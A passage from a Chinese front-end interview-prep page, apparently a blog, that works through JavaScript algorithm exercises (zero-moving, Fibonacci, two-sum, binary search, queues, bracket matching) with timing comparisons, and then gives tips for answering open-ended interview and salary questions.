quickSort2(arr2)
console.timeEnd('quickSort2') // 82ms

# 将数组中的0移动到末尾

  • 如输入 [1,0,3,0,11,0] 输出 [1,3,11,0,0,0]
  • 只移动0其他顺序不变
  • 必须在原数组进行操作

如果不限制“必须在原数组进行操作”

  • 定义part1,part2两个数组
  • 遍历数组,非0 pushpart1,0 pushpart2
  • 返回合并part1.concat(part2)

思路分析

  • 嵌套循环:传统思路
    • 遇到0 push到数组末尾
    • splice截取当前元素
    • 时间复杂度是O(n^2) 算法基本不可用(splice移动数组元素复杂度是O(n)for循环遍历数组复杂度是O(n),整体是O(n^2))
    • 数组是连续存储空间,要慎用shiftunshiftsplice等API
  • 双指针方式:解决嵌套循环的一个非常有效的方式
    • 定义j指向第一个0i指向j后面的第一个非0
    • 交换ij的值,继续向后移动
    • 只遍历一次,所以时间复杂度是O(n)

移动 0 到数组的末尾(嵌套循环)

/**
 * 移动 0 到数组的末尾(嵌套循环)
 * @param arr:number[] number arr
 */
function moveZero1(arr) {
  const length = arr.length
  if (length === 0) return

  let zeroLength = 0

  // 时间复杂度O(n^2)
  // ![](https://s.poetries.work/uploads/2023/01/2d09248cdc2c26ae.png)
  for (let i = 0; i < length - zeroLength; i++) {
    if (arr[i] === 0) {
      arr.push(0) // 放到结尾
      arr.splice(i, 1) // 在i的位置删除一个元素 splice本身就有 O(n) 复杂度
      // [1,0,0,0,1,0] 截取了0需要把i重新回到1的位置
      i-- // 数组截取了一个元素,i 要递减,否则连续 0 就会有错误
      zeroLength++ // 累加 0 的长度
    }
  }
}

移动 0 到数组末尾(双指针)

/**
 * 移动 0 到数组末尾(双指针)
 * @param arr:number[] number arr
 */
function moveZero2(arr) {
  const length = arr.length
  if (length === 0) return

  // ![](https://s.poetries.work/uploads/2023/01/d2ae2e0f5f41368b.png)
  // [1,0,0,1,1,0] j指向0 i指向j后面的第一个非0(1),然后j和i交换位置,同时移动指针
  let i // i指向j后面的第一个非0
  let j = -1 // 指向第一个 0,索引未知先设置为-1

  for (i = 0; i < length; i++) {
    // 第一个 0
    if (arr[i] === 0) {
      if (j < 0) {
        j = i // j一开始指向第一个0,后面不会执行这里了
      }
    }

    // arr[i]不是0的情况
    if (arr[i] !== 0 && j >= 0) {
      // 交换数值
      const n = arr[i] // 临时变量,指向非0的值
      arr[i] = arr[j] // 把arr[j]指向0的值交换给arr[i]
      arr[j] = n // 把arr[i]指向非0的值交换给arr[j]

      j++ // 指针向后移动
    }
  }
}
// 功能测试
const arr = [1, 0, 3, 4, 0, 0, 11, 0]
moveZero2(arr)
console.log(arr)
// 性能测试

// 移动 0 到数组的末尾(嵌套循环)
const arr1 = []
for (let i = 0; i < 20 * 10000; i++) {
  if (i % 10 === 0) {
    arr1.push(0)
  } else {
    arr1.push(i)
  }
}
console.time('moveZero1')
moveZero1(arr1)
console.timeEnd('moveZero1') // 262ms

// 移动 0 到数组末尾(双指针)
const arr2 = []
for (let i = 0; i < 20 * 10000; i++) {
  if (i % 10 === 0) {
    arr2.push(0)
  } else {
    arr2.push(i)
  }
}
console.time('moveZero2')
moveZero2(arr2)
console.timeEnd('moveZero2') // 3ms

// 结论:双指针方式优于嵌套循环方式

# 求斐波那契数列的第n值

  • 计算斐波那契数列的第n值
  • 注意时间复杂度

分析

  • f(0) = 0
  • f(1) = 1
  • f(n) = f(n - 1) + f(n - 2) 结果=前一个数+前两个数 0 1 1 2 3 5 8 13 21 34 ...

1. 斐波那契数列(递归)

  • 递归,大量重复计算,时间复杂度O(2^n)n越大越慢可能崩溃,完全不可用

/**
 * 斐波那契数列(递归)时间复杂度O(2^n),n越大越慢可能崩溃
 * @param n:number n
 */
function fibonacci(n) {
  if (n <= 0) return 0
  if (n === 1) return 1

  return fibonacci(n - 1) + fibonacci(n - 2)
}
// 功能测试
console.log(fibonacci(10)) // 55
// 如果是递归的话n越大 可能会崩溃

拓展-动态规划

  • 把一个大问题拆为一个小问题,逐级向下拆解 f(n) = f(n - 1) + f(n - 2)
  • 用递归的思路去分析问题,再改为循环来实现
  • 算法三大思维:贪心、二分、动态规划

2. 拓展:青蛙跳台阶

  • 一只青蛙,一次可跳一级,也可跳两级
  • 请问:青蛙一次跳上n级台阶,有多少种方式

用动态归还分析问题

  • f(1) = 1 一次跳一级
  • f(2) = 2 一次跳二级
  • f(n) = f(n - 1) + f(n - 2)n

3. 斐波那契数列(循环)

  • 不用递归,用循环
  • 记录中间结果
  • 优化后时间复杂度O(n)
/**
 * 斐波那契数列(循环)
 * @param n:number n
 */
function fibonacci(n) {
  if (n <= 0) return 0
  if (n === 1) return 1

  // ![](https://s.poetries.work/uploads/2023/01/c61bb6c51c6263cf.png)
  let n1 = 1 // 记录 n-1 的结果
  let n2 = 0 // 记录 n-2 的结果
  // n1、n2整体往后移动
  let res = 0 // 记录当前累加结果

  // 从2开始才能计算和相加 0 1是固定的
  for (let i = 2; i <= n; i++) {
    res = n1 + n2 // 计算当前结果

    // 记录中间结果,下一次循环使用
    n2 = n1 // 更新n2的值为n1的 往后移动累加
    n1 = res // n1是累加的结果
  }

  return res
}
// 功能测试
console.log(fibonacci(10)) // 55
// 不会导致崩溃

# 给一个数组,找出其中和为n的两个元素(两数之和)

  • 有一个递增数组[1,2,4,7,11,15]和一个n=15
  • 数组中有两个数,和是n。即4 + 11 = 15
  • 写一个函数,找出这两个数

思路分析

  • 嵌套循环,找到一个数,然后去遍历下一个数,求和判断,时间复杂度是 O(n^2) 基本不可用
  • 双指针方式,时间复杂度降低到O(n)
    • 定义i指向头
    • 定义j指向尾
    • arr[i] + arr[j]的和,如果大于n,则j向前移动j--,如果小于n,则i向后移动i++
  • 优化嵌套循环,可以考虑双指针

寻找和为 n 的两个数(嵌套循环)

/**
 * 寻找和为 n 的两个数(嵌套循环)
 * @param arr arr:number[]
 * @param n n:number
 */
function findTowNumbers1(arr, n) {
  const res = []

  const length = arr.length
  if (length === 0) return res

  // 时间复杂度 O(n^2)
  for (let i = 0; i < length - 1; i++) {
    const n1 = arr[i]
    let flag = false // 是否得到了结果(两个数加起来等于n)

    // j从i + 1开始,获取第二个数n2
    for (let j = i + 1; j < length; j++) {
      const n2 = arr[j]

      if (n1 + n2 === n) {
        res.push(n1)
        res.push(n2)
        flag = true
        break // 调出循环
      }
    }

    // 调出循环
    if (flag) break
  }

  return res
}

查找和为 n 的两个数(双指针)

随便找两个数,如果和大于n的话,则需要向前寻找,如果小于n的话,则需要向后寻找 -- 二分的思想

/**
 * 查找和为 n 的两个数(双指针)
 * @param arr arr:number[]
 * @param n n:number
 */
function findTowNumbers2(arr, n) {
  const res = []

  const length = arr.length
  if (length === 0) return res

  // ![](https://s.poetries.work/uploads/2023/01/28cd379998c81e43.png)
  let i = 0 // 定义i指向头
  let j = length - 1 // 定义j指向尾
  // 求arr[i] + arr[j]的和,如果大于n,则j向前移动j--,如果小于n,则i向后移动i++

  // 时间复杂度 O(n)
  while (i < j) {
    const n1 = arr[i]
    const n2 = arr[j]
    const sum = n1 + n2

    if (sum > n) { //sum 大于 n ,则 j 要向前移动
      j--
    } else if (sum < n) { // sum 小于 n ,则 i 要向后移动
      i++
    } else {
      // 相等
      res.push(n1)
      res.push(n2)
      break
    }
  }

  return res
}
// 功能测试
const arr = [1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2, 4, 7, 11, 15]
console.info(findTowNumbers2(arr, 15))
// 性能测试

// 寻找和为 n 的两个数(嵌套循环)
console.time('findTowNumbers1')
for (let i = 0; i < 100 * 10000; i++) {
    findTowNumbers1(arr, 15)
}
console.timeEnd('findTowNumbers1') // 730ms

// 查找和为 n 的两个数(双指针)
console.time('findTowNumbers2')
for (let i = 0; i < 100 * 10000; i++) {
    findTowNumbers2(arr, 15)
}
console.timeEnd('findTowNumbers2') // 102ms

// 结论:双指针性能优于嵌套循环方式

# 实现二分查找并分析时间复杂度

思路分析

二分查找,每次都取1/2,缩小范围,直到找到那个数为止

  • 递归,代码逻辑更加清晰
  • 非递归,性能更好
  • 二分查找时间复杂度 O(logn) 非常快

总结

  • 只要是可排序的,都可以用二分查找
  • 只要用二分的思想,时间复杂度必包含O(logn)

二分查找(循环)

/**
 * 二分查找(循环)
 * @param arr arr:number[]
 * @param target target:number 查找的目标值的索引
 */
function binarySearch1(arr, target) {
  const length = arr.length
  if (length === 0) return -1 // 找不到

  // ![](https://s.poetries.work/uploads/2023/01/2f43f28ec7699c17.png)
  // startIndex、endIndex当前查找区域的开始和结束
  let startIndex = 0 // 查找的开始位置
  let endIndex = length - 1 // 查找的结束位置

  // startIndex和endIndex还没有相交,还是有查找的范围的
  while (startIndex <= endIndex) {
    const midIndex = Math.floor((startIndex + endIndex) / 2)
    const midValue = arr[midIndex] // 获取中间值
    if (target < midValue) { // 查找的目标值小于中间值
      // 目标值较小,则继续在左侧查找
      endIndex = midIndex - 1
    } else if (target > midValue) { // 查找的目标值大于中间值
      // 目标值较大,则继续在右侧查找
      startIndex = midIndex + 1
    } else {
      // 相等,返回目标值的索引
      return midIndex
    }
  }

  return -1 // startIndex和endIndex相交后还是找不到返回-1
}

二分查找(递归)

/**
 * 二分查找(递归)
 * @param arr arr:number[]
 * @param target target:number 查找的目标值的索引
 * @param startIndex?:number start index 二分查找区间的开始位置
 * @param endIndex?:number end index 二分查找区间的结束位置
 */
function binarySearch2(arr, target, startIndex, endIndex) {
  const length = arr.length
  if (length === 0) return -1

  // 开始和结束的范围
  if (startIndex == null) startIndex = 0
  if (endIndex == null) endIndex = length - 1

  // 如果 start 和 end 相遇,则结束
  if (startIndex > endIndex) return -1

  // 中间位置
  const midIndex = Math.floor((startIndex + endIndex) / 2)
  const midValue = arr[midIndex] // 中间值

  if (target < midValue) {
    // 目标值较小,则继续在左侧查找 endIndex = midIndex - 1 往左移动一点
    return binarySearch2(arr, target, startIndex, midIndex - 1)
  } else if (target > midValue) {
    // 目标值较大,则继续在右侧查找 startIndex = midIndex + 1 往右移动一点
    return binarySearch2(arr, target, midIndex + 1, endIndex)
  } else {
    // 相等,返回
    return midIndex
  }
}
// 功能测试
const arr = [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120]
const target = 40
console.info(binarySearch2(arr, target))
// 性能测试

// 二分查找(循环)
console.time('binarySearch1')
for (let i = 0; i < 100 * 10000; i++) {
  binarySearch1(arr, target)
}
console.timeEnd('binarySearch1') // 17ms

// 二分查找(递归)
console.time('binarySearch2')
for (let i = 0; i < 100 * 10000; i++) {
  binarySearch2(arr, target)
}
console.timeEnd('binarySearch2') // 34ms

// 结论:二分查找(循环)比二分查找(递归)性能更好,递归过程多次调用函数导致性能慢一点

# 实现队列功能

1. 请用两个栈,实现一个队列功能

功能 add/delete/length

  • 数组实现队列,队列特点:先进先出
  • 队列是逻辑结构,抽象模型,简单的可以用数组、链表来实现

/**
 * @description 两个栈实现 - 一个队列功能
 */

class MyQueue {
    stack1 = []
    stack2 = []

    /**
     * 入队
     * @param n n
     */
    add(n) {
      this.stack1.push(n)
    }

    /**
     * 出队
     */
    delete() {
      let res

      const stack1 = this.stack1
      const stack2 = this.stack2

      // 第一步:将 stack1 所有元素移动到 stack2 中
      while(stack1.length) {
          const n = stack1.pop()
          if (n != null) {
              stack2.push(n)
          }
      }

      // 第二步:stack2 pop 出栈
      res = stack2.pop()

      // 第三步:将 stack2 所有元素“还给”stack1
      while(stack2.length) {
          const n = stack2.pop()
          if (n != null) {
              stack1.push(n)
          }
      }

      return res || null
    }

    // 通过属性.length方式调用
    get length() {
      return this.stack1.length
    }
}
// 功能测试
const q = new MyQueue()
q.add(100)
q.add(200)
q.add(300)
console.info(q.length)
console.info(q.delete())
console.info(q.length)
console.info(q.delete())
console.info(q.length)

性能分析:时间复杂度:add O(1)delate O(n) 空间复杂度整体是O(n)

2. 使用链表实现队列

可能追问:链表和数组,哪个实现队列更快?

  • 数组是连续存储,push很快,shift很慢
  • 链表:查询慢(把链表全部遍历一遍查询)时间复杂度:O(n),新增和删除快(修改指针指向)时间复杂度:O(1)
  • 数组:查询快(根据下标)时间复杂度:O(1),新增和删除慢(移动元素)时间复杂度:O(n)
  • 结论:链表实现队列更快

思路分析

  • 使用单项链表,但要同时记录headtail
  • 要从tail入队,从head出队,否则出队时tail不好定位
  • length要实时记录单独存储,不可遍历链表获取length(否则遍历时间复杂度是O(n)
// 用链表实现队列

// 节点数据结构
interface IListNode {
  value: number
  next: IListNode | null
}

class MyQueue {
  head = null // 头节点,从head出队
  tail = null // 尾节点,从tail入队
  len = 0 // 链表长度

  /**
   * 入队,在 tail 位置入队
   * @param n number
   */
  add(n) {
    const newNode = {
      value: n,
      next: null,
    }

    // 处理 head,当前队列还是空的
    if (this.head == null) {
      this.head = newNode
    }

    // 处理 tail,把tail指向新的节点
    const tailNode = this.tail // 当前最后一个节点
    if (tailNode) {
      tailNode.next = newNode // 当前最后一个节点的next指向新的节点
    }
    // ![](https://s.poetries.work/uploads/2023/01/843c681c06e65a9c.png)
    // 把当前最后一个节点断开,指向新的节点
    this.tail = newNode 

    // 记录长度
    this.len++
  }

  /**
   * 出队,在 head 位置出队
   */
  delete() {
    const headNode = this.head
    if (headNode == null) return null
    if (this.len <= 0) return null

    // 取值
    const value = headNode.value

    // 处理 head指向下一个节点
    // ![](https://s.poetries.work/uploads/2023/01/3d2d72a7370b826a.png)
    this.head = headNode.next

    // 记录长度
    this.len--

    return value
  }

  get length() {
    // length 要单独存储,不能遍历链表来获取(否则时间复杂度太高 O(n))
    return this.len
  }
}
// 功能测试

const q = new MyQueue()
q.add(100)
q.add(200)
q.add(300)

console.info('length1', q.length)
console.log(q.delete())
console.info('length2', q.length)
console.log(q.delete())
console.info('length3', q.length)
console.log(q.delete())
console.info('length4', q.length)
console.log(q.delete())
console.info('length5', q.length)
// 性能测试

var q1 = new MyQueue()
console.time('queue with list')
for (let i = 0; i < 10 * 10000; i++) {
  q1.add(i)
}
for (let i = 0; i < 10 * 10000; i++) {
  q1.delete()
}
console.timeEnd('queue with list') // 12ms

// 数组模拟入队出队
var q2 = []
console.time('queue with array')
for (let i = 0; i < 10 * 10000; i++) {
  q2.push(i) // 入队
}
for (let i = 0; i < 10 * 10000; i++) {
  q2.shift() // 出队
}
console.timeEnd('queue with array') // 425ms

// 结论:同样的计算量,用数组和链表实现相差很多,数据量越大相差越多

# 手写判断一个字符串"{a(b[c]d)e}f"是否括号匹配

/**
 * 判断是否括号匹配
 * @param str str
 */
function matchBracket(str) {
    const length = str.length
    if (length === 0) return true

    const stack = []

    const leftSymbols = '{[('
    const rightSymbols = '}])'

    for (let i = 0; i < length; i++) {
        const s = str[i]

        if (leftSymbols.includes(s)) {
            // 左括号,压栈
            stack.push(s)
        } else if (rightSymbols.includes(s)) {
            // 右括号,判断栈顶(是否出栈)
            const top = stack[stack.length - 1]
            if (isMatch(top, s)) {
                stack.pop()
            } else {
                return false
            }
        }
    }

    return stack.length === 0
}

/**
 * 判断左右括号是否匹配
 * @param left 左括号
 * @param right 右括号
 */
function isMatch(left, right) {
  if (left === '{' && right === '}') return true
  if (left === '[' && right === ']') return true
  if (left === '(' && right === ')') return true
  return false
}

// 功能测试
// const str = '{a(b[c]d)e}f'
// console.log(matchBracket(str))

利用栈先进后出的思想实现括号匹配,时间复杂度O(n),空间复杂度O(n)

# 14 开放问题

# 面试结束面试官问你想了解什么

一定要问这三个问题

  • 部门所做的产品和业务(赛道),产品的用量和规模(看产品是否核心)
  • 部门有多少人,有什么角色(问出部门是否规范)
  • 项目的技术栈(看技术栈是否老旧)

# 工作中遇到过哪些项目难点,是如何解决的

遇到问题要注意积累

  • 每个人都会遇到问题,总有几个问题让你头疼
  • 日常要注意积累,解决了问题要自己写文章复盘

如果之前没有积累

  • 回顾一下半年之内遇到的难题
  • 思考当时解决方案,以及解决之后的效果
  • 写一篇文章记录一下,答案就有了

答案模板

  • 描述问题:背景 + 现象 + 造成的影响
  • 问题如何被解决:分析 + 解决
  • 自己的成长:学到了什么 + 以后如何避免

一个示例

  • 问题:编辑器只能回显JSON格式的数据,而不支持老版本的HTML格式
  • 解决:将老版本的HTML反解析成JSON格式即可解决
  • 成长:要考虑完整的输入输出 + 考虑旧版本用户 + 参考其他产品

# 你未来发展怎么规划的

我想在工作中再创新高,我希望在三年以内能够在我职业上做出点成绩,比如达到架构师,我希望能在公司做技术强的人之一,能够带领更多同事做的更好

# 你期望加入一家什么样的公司

业务好,赛道好,技术牛逼(抬高对方),能够让自己更好的成长,我希望除了以上这些外,公司还要有发展空间,希望入职的这家公司我有用武之地(贬低自己),未来我希望跟这家公司走的很远(稳定性),我希望能成为这家公司的前端leader,引领前端团队,这也是我的目标。我感觉贵公司是我梦想中的公司

# 平常除了开发还会做什么?

  • 有时间去看一下b站老师的分享,提高自己的认知,比如说看xx的分享
  • 报课学习成长
  • 如果面试官问,天天学习你不觉得无趣吗,你可以回复,也不会一天到晚都在学习,我也经常运动(足球、篮球)(不要回复其他兴趣看书啥的),人家就是想看你的团队协作性怎么样

# 工作中遇到比较大的挑战

技术难题困扰你很久

# 怎么看待加班

员工应该站在公司的角度适应公司的发展,看公司当前业务的需要,公司需要我就会加班,对公司有利我们就冲,我相信一个优秀的公司是合理安排员工的休息的时间的,也不是靠加班加出来的,也有规范的流程,当然该加班的时候还得加

# 你最大的缺点

  • 比如你是做前端的,你可以说你对运维那块的部署相关不熟悉,经验还不足等等。你是做后端的,你可以说你对那些炫酷的页面交互不太熟悉。
  • 优秀案例:突出你好学的心态
    • 以前因为工作的关系不常用xxx技术栈,在业余时间略有接触,但是理解还不够深。
    • 但是自从xxx后,我就买了有关的书籍和一些视频教学深度学习。
    • 每天都会下班后用一个小时的时间在掘金,CSDN等论坛活跃,阅读网友的文章。同时我也会把我自己的疑惑跟大家交流,大家一起进步,让我在这方面越来越熟

# 你觉得你有哪些不足之处

  • 我觉得自己在xx方面存在不足(不足限制在技术上聊,不要谈其他容易掉HR的坑里)
  • 但我已意识到并开始学习
  • 我估计在xx时间把这块给补齐

要限定一个范围

  • 技术方面的
  • 非核心技术栈的,即有不足也无大碍
  • 些容易弥补的,后面才能“翻身”

错误的示范

  • 我爱睡懒觉、总是迟到 —— 非技术方面
  • 我自学的 Vue ,但还没有实践过 —— 核心技术栈
  • 我不懂 React —— 技术栈太大,不容易弥补

正确的示范

  • 脚手架,我还在学习中,还不熟练
  • nodejs 还需要继续深入学习

# 谈薪技巧

  • 要骑驴找马,不要裸辞
  • 有其他公司的offer比他们家的高(不要透露薪资,给hr一个盲盒开不了,因为薪资是公司保密的不能对外透露),但是我还是比较欣赏怎们家公司
  • 你期望的薪资是多少?我上家公司的总包是40w,我希望能够在这个基础上涨1/3
阅读全文
Last Updated: 2/16/2023, 1:31:50 PM